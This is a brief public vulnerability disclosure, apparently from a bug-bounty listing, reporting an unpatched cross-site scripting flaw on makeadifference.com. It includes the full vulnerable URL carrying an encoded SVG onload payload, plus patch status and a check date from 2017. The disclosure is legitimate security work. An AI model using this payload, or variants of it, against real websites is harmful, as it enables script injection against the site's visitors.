makeadifference.com XSS vulnerability

Vulnerable URL: http://makeadifference.com/UNsubscribe.htm?e=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4665255 VIP website...